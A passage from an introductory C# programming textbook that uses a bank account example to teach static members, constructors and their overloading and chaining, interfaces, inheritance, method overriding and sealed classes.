We can fix this (and get our program completely correct) by making the income and age limits static as well: C# Programming © Rob Miles 2010 97 . since the class above will not compile: AccountManagement. a static method can run without an instance (since it is part of the class). } This is nice because I have not had to make an instance of the account to find out if one is allowed. in that I now have members of the class which set out the upper limits of the age and income. public static bool AccountAllowed(decimal income. the compiler is telling us exactly what is wrong. how about this: The members minIncome and minAge are held within instances of the Account class. private int minAge = 18.Creating Solutions Static Items if ( Account. method.minAge' As usual. or property 'Account. However. int age) { if ( ( income >= minIncome) && ( age >= minAge) ) { return true. Using member data in static methods The Allowed method is OK. } } } This is a better design.cs(19. However it is a bad program. method. or property 'Account. 21 ) ) { Console. but of course I have fixed the age and income methods into it.43): error CS0120: An object reference is required for the nonstatic field.minIncome' AccountManagement. I might decide to make the method more flexible: public class Account { private decimal minIncome = 10000.21): error CS0120: An object reference is required for the nonstatic field.cs(19. using language which makes our heads spin. If that doesn’t help. The compiler is unhappy because in this situation the method would not have any members to play with. What the compiler really means is that "a static method is using a member of the class which is not static".AccountAllowed ( 25000.WriteLine ( "Allowed Account" ). } else { return false.
being friendly here. ―We’ve been making objects for a while and I’ve never had to provide a constructor method‖. for a change. accounts for five year olds have a different interest rate from normal ones".Creating Solutions The Construction of Objects public class Account { private static decimal minIncome . A single static member of the Account class will provide a variable which can be used inside all instances of the class. in that in this situation all we want is the method itself. the compiler instead quietly creates a default one for you and uses that. But because there is only a single copy of this value this can be changed and thereby adjust the interest rate for all the accounts. private static int minAge . Rather than shout at you for not providing a constructor method. when you are building your system you should think about how you are going to make such methods available for your own use. public static bool AccountAllowed(decimal income. Programmer’s Point: Static Method Members can be used to make Libraries Sometimes in a development you need to provide a library of methods to do stuff. static member method: the manager tells us that we need a method to determine whether or not a given person is allowed to have an account. } else { return false. making them static is what we should have done in the first place. int age) { if ( ( income >= minIncome) && ( age >= minAge) ) { return true.7 The Construction of Objects We have seen that our objects are created when we use new to bring one into being: test = new Account(). I can't make this part of any Account instance because at the time it runs an account has not been generated. At this point we know we can’t use static because we need to hold different values for some of the instances. Any value which is held once for all classes (limits on values are another example of this) is best managed as a static value. In the C# system itself there are a huge number of methods to perform maths functions. Again. The constructor method is a member of the class and it is there to let the programmer get control and set up the contents of the shiny new object. this makes perfect sense. ―But wait a minute‖. for example sin and cos. This is actually exactly what is happening. When an instance of a class is created the C# system makes a call to a constructor method in that class. One of the rules of the C# game is that every single class must have a constructor method to be called when a new instance is created. } } } If you think about it. not an instance of a class. If you look closely at what is happening you might decide that what is happening looks quite a bit like a method call. therefore. so that it can execute without an instance. The time it becomes impossible to use static is when the manager says "Oh. It makes sense to make these methods static. you say. This is because the C# compiler is. since we want them to be the same for all instances of the class. C# Programming © Rob Miles 2010 98 . 4. Bank Notes: Static Bank Information The kind of problems that we can use static to solve in our bank are: static member variable: the manager would like us to be able to set the interest rate for all the customer accounts at once. I must make it static. The limit values should not be held as members of a class.
4.1 The Default Constructor A constructor method has the same name as the class. This can cause problems. This could create a new account and set the name property to Rob Miles. } } This constructor is not very constructive (ho ho) but it does let us know when it has been called.WriteLine ( "We just made an account" ). If I create my own constructor the compiler assumes that I know what I’m doing and stops providing the default one. 0 ). but it would be even nicer to be able to feed information into the Account when I create it.2 Our Own Constructor For fun. in that normally the compiler loses no time in telling you off when you don’t do something. In other words I want to do: robsAccount = new Account( "Rob Miles". This means that when my program executes the line: robsAccount = new Account(). It is public so that it can be accessed from external classes who might want to make instances of the class. and initial balance of an account holder when the account is created. If you don’t supply a constructor (and we haven’t so far) the compiler creates one for us. As an example. I might want to set the name. address. but it does not return anything. 4. the address to Hull and the initial balance to zero. "Hull". . It accepts no parameters. we could make a constructor which just prints out that it has been called: public class Account { public Account () { Console. in that it will result in a lot of printing out which the user of the program might not appreciate. It is called when we perform new. public class Account { public Account () { } } This is what the default constructor looks like.the program will print out the message: We just made an account Note that this is not very sensible. all I have to do is make the constructor method to accept these parameters and use them to set up the members of the class: C# Programming © Rob Miles 2010 99 .7. but in this case it is simply solving the problem without telling you. but it does show how the process works. Feeding the Constructor Information It is useful to be able to get control when an Account is created. which we will discuss later.Creating Solutions The Construction of Objects You might think this is strange. It turns out that I can do this very easily.
i. the only way I can now make an Account object is by supplying a name. I've missed off the balance value.e. private string address. Just like me. .Creating Solutions The Construction of Objects class Account { // private member data private string name. balance = inBalance. For example. 4.27): error CS1501: No overload for method 'Account' takes '0' arguments What the compiler is telling me is that there is no constructor in the class which does not have any parameters. If your code does this the compiler simply looks for a constructor method which has two strings as parameters. } } The constructor takes the values supplied in the parameters and uses them to set up the members of the Account instance that is being created. many (but not all) of your accounts will be created with a balance value of zero. because it can tell from the parameters given at the call of the method which one to use. since I want to use the "default" one of zero. and nothing else. Something a bit like this: C# Programming © Rob Miles 2010 100 . In that situation you have to either find all the calls to the default one and update them. i. address and starting balance. Note that adding a constructor like this has one very powerful ramification: You must use the new constructor to make an instance of a class. decimal inBalance) { name = inName.cs(9.7. In the context of the constructor of a class. address = inAddress.e. "Hull"). string inAddress. In the context of the "Star Trek" science fiction series it is what they did to the warp engines in every other episode. what this means is that you can provide several different ways of constructing an instance of a class. // constructor public Account (string inName.3 Overloading Constructors Overload is an interesting word. In other words. In the context of a C# program it means: "A method has the same name as another. hem hem. This means that we would like to be able to write robsAccount = new Account("Rob Miles".the compiler will stop being nice to me and produce the error: AccountTest. In this respect it behaves exactly as any other method call. nothing in the account. but has a different set of parameters" The compiler is quite happy for you to overload methods. The default constructor is no longer supplied by the compiler and our program now fails to compile correctly. the compiler only provides a default constructor if the programmer doesn't provide a constructor. If I try to do this: robsAccount = new Account(). or create a default constructor of your own for these calls to use. Of course you don't have to do this because your design of the program was so good that you never have this problem. private decimal balance. This can cause confusion if we have made use of the default constructor in our program and we then add one of our own.
you can overload any method name in your classes. int day ) SetDate ( int year. C# provides a way in which you can call one constructor from another. address = inAddress. string inAddress) { name = inName. So. The third is not given the address either. balance = inBalance.Creating Solutions The Construction of Objects public Account (string inName. and sets the address to "Not Supplied". } I've made three constructors for an Account instance. even if you don't put a bug in your code. Good programmers hate duplicating code. Consider: C# Programming © Rob Miles 2010 101 . just use the block copy command in the text editor and you can take the same piece of program and use it all over the place. This happens more often than you'd think.would be matched up with the method which accepts three integer parameters and that code would be executed. . The first is supplied with all the information. If you need to change this piece of code you have to find every copy of the code and change it. balance = 0. Because it is bad. string inAddress) { name = inName. for example you could provide several ways of setting the date of a transaction: SetDate ( int year. 7. To do this I have had to duplicate code.4 Constructor Management If the Account class is going to have lots of constructor methods this can get very confusing for the programmer: public Account (string inName. string inAddress. balance = 0. int julianDate ) SetDate ( string dateInMMDDYY ) A call of: SetDate ( 23. } public Account (string inName. address = "Not Supplied". 4. It is regarded as "dangerous extra work". The scary thing is that it is quite easy to do. the second is not given a balance and sets the value to 0. } Overloading a method name In fact. address = inAddress. This can be useful if you have a particular action which can be driven by a number of different items of data. 2005 ). int month. } public Account (string inName) { name = inName. But you should not do this. decimal inBalance) { name = inName. address = inAddress. balance = 0. you still might find yourself having to change it because the specification changes.7.
4. You should create one "master" constructor which handles the most comprehensive method of constructing the object. decimal inBalance) { name = inName. But what is to stop the following: RobsAccount = new Account ("Rob". "Hull". in the code above. Then you should make all the other constructor methods use this to get hold of that method. Constructors cannot fail. Programmer’s Point: Object Construction Should Be Planned The way in which objects are constructed is something that you should plan carefully when you write your program. This is sensible. in that the call to the constructor takes place before the body of the constructor method. The whole basis of the way that we have allowed our objects to be manipulated is to make sure that they cannot be broken by the people using them. on to the "proper" constructor to deal with. There will be an upper limit to the amount of cash you can pay in at once.PayInFunds (1234567890). So we know that when we create a method which changes the data in an object we have to make sure that the change is always valid. because it reflects exactly what is happening. Failure is not an option. inAddress. For example. balance = inBalance. The "this" constructor runs before the body of the other constructor is entered. attempts to withdraw negative amounts of money from a bank account should be rejected. and the other constructor methods just make calls to it. And this is a problem: Whenever we have written methods in the past we have made sure that their behaviour is error checked so that the method cannot upset the state of our object. } public Account ( string inName. If you try to do something stupid with a method call it should refuse to perform the action and return something which indicates that it could not do the job. along with any default values that we have created. since the call of this does all the work. string inAddress. string inAddress ) : this (inName. 0 ) { } The keyword this means "another constructor in this class". They simply pass the parameters which are supplied. The syntax of these calls is rather interesting. As you can see in the code sample above. Constructors are a bit like this. so the PayInFunds method will refuse to pay the money in. In fact.7. the highlighted bits of the code are calls to the first constructor. address = inAddress. 0 ) { } public Account ( string inName ) : this (inName. "Not Supplied". the body of the constructor can be empty. 1234567890). For example. C# Programming © Rob Miles 2010 102 .5 A constructor cannot fail If you watch a James Bond movie there is usually a point at which agent 007 is told that the fate of the world is in his hands. In fact it is outside the block completely. This means that the actual transfer of the values from the constructor into the object itself only happens in one method.Creating Solutions The Construction of Objects public Account (string inName. we would not let the following call succeed: RobsAccount.
Constructors and Exceptions The only way round this at the moment is to have the constructor throw an exception if it is unhappy. It looks as if we can veto stupid values at every point except the one which is most important. I type in my name wrong and it complains about that. This poses a problem. and if any of them returns with an error the constructor should throw the exception at that Point: public Account (string inName. This can be done. the user of the method will not know this until they have fixed the name and then called the constructor again. at the expense of a little bit of complication: public Account (string inName. which is what we want. The really clever way to do this is to make the constructor call the set methods for each of the properties that it has been given. The only problem here is that if the address is wrong too. Writing code to do a job is usually very easy. and it complains about my address. which is not a bad thing. string inAddress) { string errorMessage = "". Whatever happens during the constructor call.e. it will complete and a new instance will be created. Writing code which will handle all the possible failure conditions in a useful way is much trickier. i. constructors are not allowed to fail. Each new thing which is wrong is added to the message and then the whole thing is put into an exception and thrown back to the caller. It is normally when I'm filling in a form on the web. It is a fact of programming life that you will (or at least should) spend more time worrying about how things fail than you ever do about how they work correctly. when the object is first created. if ( SetName ( inName ) == false ) { errorMessage = errorMessage + "Bad name " + inName. C# Programming © Rob Miles 2010 103 . } } This version of the constructor assembles an error message which describes everything which is wrong with the account. } } If we try to create an account with a bad name it will throw an exception. I hate it when I'm using a program and this happens. Then I put my name right. } if ( SetAddress ( inAddress) == false ) { errorMessage = errorMessage + " Bad addr " + inAddress. This means that the user of the constructor must make sure that they catch exceptions when creating objects. } if ( SetAddress ( inAddress) == false ) { throw new Exception ( "Bad address" + inAddress) . What I want is a way in which I can get a report of all the invalid parts of the item at once. string inAddress) { if ( SetName ( inName ) == false ) { throw new Exception ( "Bad name " + inName) . Programmer’s Point: Managing Failure is Hard Work This brings us on to a kind of recurring theme in our quest to become great programmers. } if ( errorMessage != "" ) { throw new Exception ( "Bad account" + errorMessage) .Creating Solutions The Construction of Objects Like James Bond.
enters their name and address and this is used to create the new account" this gives you a good idea of what parameters should be supplied to the constructor. and not what the system itself actually does. we just say "We need an account here" and then move on to other things. Bank Notes: Constructing an Account The issues revolving around the constructor of a class are not directly relevant to the bank account specification as such. Software components are exactly the same. The next thing to do is consider how we take a further step back and consider expressing a solution using components and interfaces. For example.8. 4. the graphics adapter is usually a separate device which is plugged into the main board. and how to design systems using them. some parts are not "hard wired" to the system. for example which signals are inputs. in a typical home computer. Later we will come back and revisit the problem in a greater level of detail. During the specification process you need to establish if the code is ever going to be created in multiple language versions..Creating Solutions From Object to Component Programmer’s Point: Consider the International Issues The code above assembles a text message and sends it to the user when something bad happens. Posh people call this "abstraction". You should be familiar with the way that. and from the point of view of what the Account class needs to do. components are possible because we have created standard interfaces which describe exactly how they fit together. if you write the program as above this might cause a problem when you install the code in a French branch of the bank. This is good. C# Programming © Rob Miles 2010 104 . if the manager says something like "The customer fills in a form.1 Components and Hardware Before we start on things from a software point of view it is probably worth considering things from a hardware point of view. Fortunately there are some C# libraries which are designed to make this easier. Any main board which contains a socket built to the standard can accept a graphics card. For this to work properly the people who make main boards and the people who make graphics adapters have had to agree on an interface between two devices. This is the progress that we have made so far: representing values by named locations (variables) creating actions which work on the variables (statements and blocks) putting behaviours into lumps of code which we can give names to. because it means that I can buy a new graphics adapter at any time and fit it into the machine to improve the performance. from the point of view of hardware. 4. which signals are outputs and so on. If it is you will need to manage the storage and selection of appropriate messages. This is a good thing. That said. This takes the form of a large document which describes exactly how the two components interact. So. since they really relate to how the specification is implemented.8 From Object to Component I take the view that as you develop as a software writer you go through a process of "stepping back" from problems and thinking at higher and higher levels. In this section you will find out the difference between an object and a component. However.
one to pay money in. For example. This might happen even after we have installed the system and it is being used. instead of starting off by designing classes we should instead be thinking about describing their interfaces.2 Components and Interfaces One point I should make here is that we are not talking about the user interface to our program. However. Please don’t be tempted to answer an exam question about the C# interface mechanism with a long description of how windows and buttons work. and then we create those parts. we might be asked to create a "BabyAccount" class which only lets the account holder draw out up to ten pounds each time. It sets out a number of methods which relate to a particular task or role. An interface is placed in a source file just like a class. in this case what a class must do to be considered a bank account. Well. decimal GetBalance (). a system designed without components is exactly like a computer with a graphics adapter which part of the main board. An interface is simply a set of method definitions which are lumped together. It is not possible for me to improve the graphics adapter because it is "hard wired" into the system. These are usually either text based (the user types in commands and gets responses) or graphical (the user clicks on ―buttons‖ on a screen using the mouse). Interfaces and Design So. Note that at the interface level I am not saying how it should be done. If everything has been hard wired into place this will be impossible. } This says that the IAccount interface is comprised of three methods. When we are creating a system we work out what each of the parts of it need to do. An interface on the other hand just specifies how a software component could be used by another software component. which set down standards for naming variables. From the balance management point of view this is all we need. By describing objects in terms of their interfaces however. Another convention is that the name of an interface should start with the letter I. what it is they have to do. This will earn you zero marks. If you don’t do this your programs will compile fine.e. we can use anything which behaves like an Account in this position. but you may have trouble sleeping at night.Creating Solutions From Object to Component Why we Need Software Components? At the moment you might not see a need for software components. C# Programming © Rob Miles 2010 105 . In C# we express this information in a thing called an interface. since the compiler has no opinions on variable names.8. Our first pass at a bank account interface could be as follows: public interface IAccount { void PayInFunds ( decimal amount ). Programmer’s Point: Interface names start with I We have seen that there are things called coding conventions. and compiled in the same way. And quite right too. The user interface is the way a person using our program would make it work for them. I am instead just saying what should be done. 4. bool WithdrawFunds ( decimal amount ). It is not obvious at this stage why components are required. it is unfortunately the case that with our bank system we may have a need to create different forms of bank account class. i. another to withdraw it and a third which returns the balance on the account.
The only difference is the top line: public class CustomerAccount : IAccount { . } balance = balance .8.IAccount.4 References to Interfaces Once we have made the CustomerAccount class compile.PayInFunds(decimal)' In this case I missed out the PayInFunds method and the compiler complained accordingly. } public decimal GetBalance () { return balance. here are two: C# Programming © Rob Miles 2010 106 . it has a corresponding implementation. return true.CustomerAccount' does not implement interface member 'AccountManagement. The highlighted part of the line above is where the programmer tells the compiler that this class implements the IAccount interface. If the class does not contain a method that the interface needs you will get a compilation error: error CS0535: 'AccountManagement. Implementing an interface is a bit like a setting up a contract between the supplier of resources and the consumer. } } The code above does not look that different from the previous account class. } public void PayInFunds ( decimal amount ) { balance = balance + amount . irrespective of what it really is: public class CustomerAccount : IAccount { private decimal balance = 0.. so that it can be thought of as an account component. I am going to create a class which implements the interface.. 4.Creating Solutions From Object to Component 4. If a class implements an interface it is saying that for every method described in the interface. public bool WithdrawFunds ( decimal amount ) { if ( balance < amount ) { return false . You can think of me in a whole variety of ways.3 Implementing an Interface in C# Interfaces become interesting when we make a class implement them.amount .. In the case of the bank account.
} public decimal GetBalance () { return balance.Creating Solutions From Object to Component Rob Miles the individual (because that is who I am) A university lecturer (because that is what I can do) If you think of me as a lecturer you would be using the interface that contains methods like GiveLecture. and starting to think about them in terms of what they can do. It is simply a way that we can refer to something which has that ability (i. rather than Rob Miles the individual.(the set of account abilities) rather than CustomerAccount (a particular account class). return true.e. and if it does. person who implements that interface). This is the same in real life. the compilation is successful. Note that there will never be an instance of IAccount interface. but they behave slightly differently because we want all withdrawals of over ten pounds to fail: public class BabyAccount : IAccount { private decimal balance = 0. with interfaces we are moving away from considering classes in terms of what they are. The account variable is allowed to refer to objects which implement the IAccount interface. } } C# Programming © Rob Miles 2010 107 . I can create a BabyAccount class which implements the IAccount interface. The compiler will check to make sure that CustomerAccount does this. } public void PayInFunds ( decimal amount ) { balance = balance + amount . it is much more useful for it to think of me as a lecturer. There is no such physical thing as a "lecturer". public bool WithdrawFunds ( decimal amount ) { if (amount > 10) { return false . contains the required methods). This implements all the required methods. } if (balance < amount) { return false .8.amount .e. In C# terms this means that we need to be able to create reference variables which refer to objects in terms of interfaces they implement. 4. which has to manage a large number of interchangeable lecturers. merely a large number of people who can be referred to as having that particular ability or role. this means that we want to deal with objects in terms of IAccount. In the case of our bank. account. And you can use the same methods with any other lecturer (i.5 Using interfaces Now that we have our system designed with interfaces it is much easier to extend it. It turns out that this is quite easy: IAccount account = new CustomerAccount(). rather than the particular type that they are. } balance = balance . So.PayInFunds(50). From the point of view of the university.
IPrintToPaper { . There are also graphical tools that you can use to draw formal diagrams to represent this information. I don't want to have to provide a print method in each of these. A class can implement as many interfaces as it needs. When we create the account objects we just have ask if a standard account or a baby account is required.Creating Solutions From Object to Component The nice thing about this is that as it is a component we don’t have to change all the classes which use it. I create the interface: public interface IPrintToPaper { void DoPrint (). However. ISpecialOffer for example).. You might think that all I have to do is add a print method to the IAccount interface. The field of Software Engineering is entirely based on this process. The IAccount interface lets me regard a component purely in terms of its ability to behave as a bank account. special offers and the like. You should also have spotted that interfaces are good things to hang tests on. there will be lots of things which need to be printed. what is important to the customer.. If you have a set of fundamental behaviours that all bank accounts must have (for example C# Programming © Rob Miles 2010 108 .. For example.7 Designing with Interfaces If you apply the "abstraction" technique properly you should end up with a system creation process which goes along the lines of: gather as much metadata as you can about the problem. This is actually very easy. } Now anything which implements the IPrintToPaper interface will contain the DoPrint method and can be thought of in terms of its ability to print. This would be reasonable if all I ever wanted to print was bank accounts. The rest of the system can then pick up this object and use it without caring exactly what it is. 4. We will of course have to create some tests especially for it. I may want to regard a component in a variety of ways. 4.8.8. but using the new kind of account in our existing system is very easy. Each of these items will be implemented in terms of a component which provides a particular interface (IWarning. what I really want is a way that I can regard an object in terms of its ability to print. public class BabyAccount : IAccount. This means that a BabyAccount instance behaves like an account and it also contains a DoPrint method which can be used to make it print out.6 Implementing Multiple Interfaces A component can implement as many interfaces as are required. the bank will want the account to be able to print itself out on paper. However. so that we can make sure that withdrawals of more than ten pounds do fail. Each interface is a new way in which it can be referred to and accessed. for example warning letters. before you write any code at all.
it just means that a method with that name exists within the class. Just because a class has a method called PayInFunds does not mean that it will pay money into the account. Each GUID is unique in the world. interface IAccount { int GetAccountNumber (). These are data items which are created based on the date. that is down to how much you trust the programmer that made the class that you are using. time and certain information about the host computer. The interface mechanism gives us a great deal of flexibility when making our components and fitting them together. This is the real detail in the specification. It can also be used at the design stage of a program if you have a set of related objects that you wish to create. in that we can create "dummy" components which implement the interface but don't have the behaviour as such. but we have not actually described how this should be done. 4. The design of the interfaces in a system is just this. For example. Programmer’s Point: Interfaces are just promises An interface is less of a binding contract. The need for things like account numbers. So this requirement ends up being expressed in the interface that is implemented by the account class. They state that we have a need for behaviours. You can regard an interface as a statement by a class that it has a set of behaviours because it implements a given interface.Creating Solutions Inheritance paying in money must always make the account balance go up) then you can write tests that bind to the IAccount interface and can be used to test any of the bank components that are created.. No two accounts should ever have the same number. In fact. but they do not necessarily state how they are made to work. and more a promise. the manager has told us that each bank account must have an account number. not precisely how it does it. If a class is descended from a particular parent class this C# Programming © Rob Miles 2010 109 . In this respect you can regard it as a mechanism for what is called code reuse. as long as it always returns the value for a particular account. We don't care what the method GetAccountNumber actually does. Inheritance lets a class pick up behaviours from the class which is its parent. which really need to be unique in the world. I have to add comments to give more detail about what the method does. Once we have set out an interface for a component we can then just think in terms of what the component must do. It is a way that we can pick up behaviours from classes and just modify the bits we need to make new ones. in that it will be fixed for the life of the account and can never be changed. we sometimes use this to good effect when building a program. } This method returns the integer which is the account number for this instance. This is a very important value. has resulted in the creation of a set of methods in the C# libraries to create things called Globally Unique Identifiers or GUIDs.9 Inheritance Inheritance is another way we can implement creative laziness. By placing it in the interface we can say that the account must deliver this value. and how good your tests are. It means that once we have found out what our bank account class needs to hold for us we can then go on to consider what we are going to ask the accounts to do.
We have already noted that a BabyAccount must behave just like a CustomerAccount except in respect of the cash withdrawal method. BabyAccount can do. It turns out that we can do this in C# using inheritance. But: Programmer’s Point: Block Copy is Evil I still make mistakes when I write programs. We have solved this problem from a design point of view by using interfaces. and only once. I have put the name of the class that BabyAccount is extending. of the new code and find that my program doesn't work properly. You might think that after such a huge number of years in the job I get everything right every time. it gets everything from its parent. We can even create brand new accounts at any time after the system has been deployed. Wrong. This means that the PayInFunds method from the CustomerAccount class is used at this point. And a lot of the mistakes that I make are caused by improper use of block copy.1 Extending a parent class We can see an example of a use for inheritance in our bank account project. the BabyAccount class has no behaviours of its own. Then I change most. So.9. make it a method. they implement the interface). If you need to use it in more than one place. When I create the BabyAccount class I can tell the compiler that it is based on the CustomerAccount one: public class BabyAccount : CustomerAccount. I can now write code like: BabyAccount b = new BabyAccount(). Baby accounts are only allowed to draw up to 10 pounds out at a time.IAccount { } The key thing here is the highlighted part after the class name. but not all. This works because. This means that everything that CustomerAccount can do. I write some code and find that I need something similar. By separating the thing that does the job from the description of the job (which is what an interface lets you do) we can get the whole banking system thinking in terms of IAccount and then plug in accounts with different behaviours as required.e.Creating Solutions Inheritance means that it has a set of behaviours because it has inherited them from its parent. the parent class does. In short: Interface: "I can do these things because I have told you I can" Inheritance: "I can do these things because my parent can" 4. Customer accounts can draw out as much as they want. These can be introduced and work alongside the others because they behave correctly (i. although BabyAccount does not have a PayInFunds method. We need to create a BabyAccount class which contains a lot of code which is duplicated in the CustomerAccount class. "This is not a problem" you probably think "I can use the editor block copy to move the program text across". b. But this does make things a bit tiresome when we write the program. in another part of the program. at the moment. Try not to do this.PayInFunds(50). C# Programming © Rob Miles 2010 110 . What we really want to do is pick up all the behaviours in the CustomerAccount and then just change the one method that needs to behave differently. So I use block copy. instances of the BabyAccount class have abilities which they pick up from their parent class. A great programmer writes every piece of code once. In fact. but not exactly the same.
amount . Virtual Methods Actually. } balance = balance . The call of PayInFunds will use the method in the parent (since that has not been overridden) but the call of WithdrawFunds will use the method in BabyAccount. } } The keyword override means "use this version of the method in preference to the one in the parent". public virtual bool WithdrawFunds ( decimal amount ) { if ( balance < amount ) { return false . return true. b. b.2 Overriding methods We now know that we can make a new class based on an existing one. This is called overriding a method. This means that code like: BabyAccount b = new BabyAccount(). you definitely can’t.IAccount { public override bool WithdrawFunds (decimal amount) { if (amount > 10) { return false . } if (balance < amount) { return false . but if you don’t have the word present. } } The keyword virtual means ―I might want to make another version of this method in a child class‖. You don’t have to override the method. } balance = balance . public class CustomerAccount : IAccount { private decimal balance = 0.WithdrawFunds(5). The C# compiler needs to know if a method is going to be overridden.amount . To make the overriding work correctly I have to change my declaration of the method in the CustomerAccount class. In other words. C# Programming © Rob Miles 2010 111 .PayInFunds(50). This is because it must call an overridden method in a slightly different way from a "normal" one. In the BabyAccount class I can do it like this: public class BabyAccount : CustomerAccount. The next thing we need to be able to do is change the behaviour of the one method that we are interested in. We want to replace the WithdrawFunds method with a new one. there is one other thing that we need to do in order for the overriding to work. the above code won't compile properly because the compiler has not been told that WithDrawFunds might be overridden in classes which are children of the parent class. return true.Creating Solutions Inheritance 4.9.
in that it stops the BabyAccount class from being able to change the value. However. it looks as if we are breaking our own rules here. Protection of data in class hierarchies It turns out that the code above still won’t work. This calls for more metadata to be gathered from the customer and used to decide which parts of the behaviour need to be changed during the lift of the project. This is because the balance value in the CustomerAccount class is private. Every class has a parent and can do all the things that the parent can do. Bank Notes: Overriding for Fun and Profit The ability to override a method is very powerful.Creating Solutions Inheritance This makes override and virtual a kind of matched pair. . for now making this change will make the program work. methods in the BabyAccount class can see and use a protected member because they are in the same class hierarchy as the class containing the member.3 Using the base method Remember that programmers are essentially lazy people who try to write code only once for a given problem.9. I can use this to make the WithDrawFunds method in my BabyAccount much simpler: C# Programming © Rob Miles 2010 112 . And we would have written this down in the specification. in that the WithDrawFunds method in the BabyAccount class contains all the code of the method in the parent class. The word base in this context means ―a reference to the thing which has been overridden‖. In other words. It means that we can make more general classes (for example the CustomerAccount) and customise it to make them more specific (for example the BabyAccount). public class CustomerAccount : IAccount { protected decimal balance = 0. the balance is very important to me and I’d rather that nobody outside the CustomerAccount class could see it. You use virtual to mark a method as able to be overridden and override to actually provide a replacement for the method. We would have made the WithDrawFunds method virtual because the manager would have said ―We like to be able to customise the way that some accounts withdraw funds‖.. Well. We have already noted that we don’t like this much. in that it means that the balance value has to be made more exposed than we might like. 4. Later we will see better ways to manage this situation. This makes the member visible to classes which extend the parent. It also has access to all the protected members of the classes above it... Fortunately the designers of C# have thought of this and have provided a way that you can call the base method from one which overrides it. this protection is too strict. To get around this problem C# provides a slightly less restrictive access level called protected. However.. Of course this should be planned and managed at the design stage. } I’m not terribly happy about doing this. A class hierarchy is a bit like a family tree. We carefully made it private so that methods in other classes can’t get hold of the value and change it directly.
} balance = balance . IAccount { public override bool WithdrawFunds (decimal amount) { if (amount > 10) { return false . you have just supplied a new version of the method (in fact the C# compiler will give you a warning which indicates that you should provide the keyword new to indicate this): public class BabyAccount : CustomerAccount. This is because in this situation there is no overriding. By making this change I can put the balance back to private in the CustomerAccount because it is not changed outside it. in the top level class. and why I’m doing it: I don’t want to have to write the same code twice I don’t want to make the balance value visible outside the CustomerAccount class.WithdrawFunds(amount). If I need to fix a bug in the behaviour of the WithDrawFunds method I just fix it once. } } The very last line of the WithDrawFunds method makes a call to the original WithDrawFunds method in the parent class.Creating Solutions Inheritance public class BabyAccount : CustomerAccount.amount . return true. and then it is fixed for all the classes which call back to it. } return base. } if (balance < amount) { return false .4 Making a Replacement Method This bit is rather painful. } } The problem with this way of working is that you are unable to use base. i. Note that there are other useful spin-offs here. If I leave it out (and leave out the override too) the program seems to work fine. It is important that you understand what I’m doing here.IAccount { public new bool WithdrawFunds (decimal amount) { if (amount > 10) { return false .e. This makes it more difficult to pick up behaviours from parent classes. 4. the one that the method overrides.9. C# Programming © Rob Miles 2010 113 . The use of the word base to call the overridden method solves both of these problems rather beautifully. If you play around with C# you will find out that you don’t actually seem to need the virtual keyword to override a method. but don’t worry too much since it actually does make sense when you think about it. Because the method call returns a bool result I can just send whatever it delivers.
public sealed class BabyAccount : CustomerAccount.. For a programming course at this level it is probably a bit heavy handed of me to labour this point just right now. This means that you should take steps when you design the program to decide whether or not methods should be flagged as virtual and also make sure that you seal things when you can do so. 4. } This is the banking equivalent of the bottle of beer that is never empty. it always returns a balance value of a million pounds! A naughty programmer could insert this into a class and give himself a nice spending spree. And yet a naughty programmer could write their own and override or replace the one in the parent: public new decimal GetBalance () { return 1000000. In fact.e. Another use for sealed.Creating Solutions Inheritance Programmer’s Point: Don’t Replace Methods I am very against replacing methods rather than overriding them. the customer will not have particularly strong opinions on how you use things like sealed in your programs. i. However... But they will want to have confidence in the code that you make. Bank Notes: Protect Your Code As far as the bank application is concerned. This goes well with a design process which means that as you move down the ―family tree‖ of classes you get more and more specific. which has a bit more potential. One of the unfortunate things about this business is that you will have to allow for the fact that people who use your components might not all be nice and trustworthy. C# does this by giving us a sealed keyword which means ―You can’t override this method any more‖. The rules are that you can only seal an overriding method (which means that we can’t seal the GetBalance virtual method in the CustomerAccount class) and you can still replace a sealed method. is that you can mark a class as sealed. just remember that when you create a program this is another risk that you will have to consider. No matter how much cash is drawn out. C# Programming © Rob Miles 2010 114 . It means that a programmer can just change one tiny part of a class and make a new one with all the behaviours of the parent. What this means is that we need a way to mark some methods as not being able to be overridden. This is never going to need a replacement.. overriding/replacing is not always desirable. } The compiler will now stop the BabyAccount from being used as the basis of another account.9. Consider the GetBalance method. and if it didn’t all make sense there is no particular need to worry. it cannot be used as the basis for another class.IAccount { . Unfortunately this is rather hard to use. This means that the class cannot be extended. If you want to have a policy of allowing programmers to make custom versions of classes in this way it is much more sensible to make use of overriding since this allows a well-managed way of using the method that you over-rid. I’m wondering why I mentioned this at all.5 Stopping Overriding Overriding is very powerful..
This means that a constructor in the parent must run before the constructor in the child. In other words. It is used by a programmer to allow initial values to be set into an object: robsAccount = new CustomerAccount("Rob Miles". It is of course very important that you have these designs written down and readily available to the development team. } But this class is an extension of the Account class. The result of this is that programmers must take care of the issue of constructor chaining. In other words.Creating Solutions Inheritance 4. You might think that I could solve this by writing a constructor a bit like this: public CustomerAccount (string inName. decimal inBalance) : base ( inName. "Hull"). Constructor Chaining When considering constructors and class hierarchies you must therefore remember that to create an instance of a child class an instance of the parent must first be created.6 Constructors and Hierarchies A constructor is a method which gets control during the process of object creation. If there are some things that an account must do then we can make these abstract and then get the child classes to actually provide the implementation. I think of these things as a bit like the girders that you erect to hold the floors and roof of a large building. the proper version of the customer account constructor is as follows: public CustomerAccount (string inName. The code above will only work if the CustomerAccount class has a constructor which accepts two strings. the first a string and the second a decimal value. And the account is the class which will have a constructor which sets the name and the initial balance. Programmer’s Point: Design your class construction process The means by which your class instances are created is something you should design into the system that you build. I can use it to force a set of behaviours on items in a class hierarchy. the name and the address of the new customer. However. It is part of the overall architecture of the system that you are building.9. decimal inBalance) { name = inName. This C# Programming © Rob Miles 2010 115 . inBalance) { } The base keyword is used in the same way as this is used to call another constructor in the same class. to make a CustomerAccount I have to make an Account. They tell programmers who are going to build the components which are going to implement the solution how to create those components.9.7 Abstract methods and classes At the moment we are using overriding to modify the behaviour of an existing parent method. it is also possible to use overriding in a slightly different context. In this situation the constructor in the child class will have to call a particular constructor in the parent to set that up before it is created. The constructor above assumes that the Account class which CustomerAccount is a child of has a constructor which accepts two parameters. 4. balance = inBalance. They must make sure that at each level in the creation process a constructor is called to set up the class at that level. to create a CustomerAccount you must first create an Account. The keyword base is used to make a call to the parent constructor. For example. in the context of the bank application we might want to provide a method which creates a warning letter to the customer that their account is overdrawn. In other words.
